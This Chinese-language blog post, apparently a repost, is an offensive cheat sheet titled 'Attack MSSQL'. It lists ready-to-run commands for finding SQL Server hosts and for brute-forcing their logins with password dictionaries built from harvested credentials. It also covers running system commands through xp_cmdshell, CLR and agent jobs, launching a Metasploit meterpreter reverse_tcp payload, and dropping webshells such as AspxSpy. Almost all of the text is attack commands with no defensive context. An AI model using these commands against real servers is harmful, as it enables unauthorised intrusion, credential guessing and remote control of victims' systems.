Attack MSSQL

2017-12-21 10:30:39来源:http://rinige.com/index.php/archives/855/作者:re4lity人点击

分享
服务发现

比较常用的一些


MetaSploit:
msf > use auxiliary/scanner/mssql/mssql_ping
Nmap:
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
PowerUpSQL:
Get-SQLInstanceDomain -Verbose | Get-SQLServerInfo -Verbose
Get-SQLInstanceLocal -Verbose | Get-SQLServerInfo -Verbose
Get-SQLServerInfo -Verbose -Instance "SQLSERVER1/MYINSTANCE"
Get-SQLServerInfo -Verbose -Instance "SQLSERVER1/MYINSTANCE" -Username MyUser -Password MyPassword
Get-SQLServerInfo -Verbose -Instance "SQLSERVER1/MYINSTANCE" -Credential MyUser
F-NAScan:
python NAScan.py -h 192.168.1 -p 1433

用Pyinstaller打包成exe也挺好用的


其他:


一些连接工具的服务发现功能,例如:Microsoft SQL Server Management Studio的"Browse for More"功能
枚举

利用其他途径收集到的用户密码组合成字典来对域内的MSSQL机器进行枚举,效果事半功倍


MetaSploit:
msf > use auxiliary/admin/mssql/mssql_enum
msf > use auxiliary/scanner/mssql/mssql_login

设置好 PASS_FILE 和 RHOSTS 就行了


Nmap:
nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=user.txt,passdb=pass.txt 192.168.1.1
nmap -p 1433 --script ms-sql-brute --script-args userdb=user.txt,passdb=pass.txt 192.168.1.1
PowerUpSQL:
Invoke-SQLAuditWeakLoginPw
FScrack:
python FScrack.py -h 192.168.1 -p 1433 -d pass.txt

打包成exe同样很方便


Scansql:

比较喜欢用的一个1433多线程批量爆破工具,速度贼快、效率贼6


Usage: scansql.exestartIP <endIP> <Thread>
Example: scansql.exe192.168.0.1 192.168.0.254
scansql.exe192.168.0.1 192.168.0.254 100


利用
MetaSploit:
msf > auxiliary/admin/mssql/mssql_exec #xp_cmdshell执行系统命令
msf > auxiliary/admin/mssql/mssql_sql #SQL查询

反弹


msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
Nmap:
nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell 192.168.1.1
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="whoami" 192.168.1.1

执行指定命令,可以通过SMB协议或者MSSQL来执行


PowerUpSQL:
Invoke-SQLImpersonateServiceCmd #通过xp_cmdshell执行系统命令
Invoke-SQLOSCmd #通过CLR执行系统命令
Invoke-SQLOSCmdOle #通过Ole Automation Procedures执行系统命令
Invoke-SQLOSCmdR #通过外部脚本执行系统命令
Invoke-SQLOSCmdPython #利用Python通过外部脚本执行系统命令
Invoke-SQLOSCmdAgentJob #通过AgentJobs(CMDExec, PowerShell, ActiveX:JScript, and ActiveX:VBScript)执行系统命令

都需要sysadmin权限,参考: https://github.com/NetSPI/PowerUpSQL/wiki/Primary-Attack-Functions


SqlMap:

通过 DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL等)或者 DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird等)连接数据库进行操作


python sqlmap.py -d "DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME"

注释


dbms:所使用的数据库
user:数据库用户
password:数据库密码
dbma_IP:数据库服务器ip地址
dbms_PORT:数据服务器端口
database_NAME:所使用的数据库名
脚本及其他:
各种webshell...如:AspxSpy
数据库连接工具

先写这么多吧。。。


微信扫一扫

第七城市微信公众平台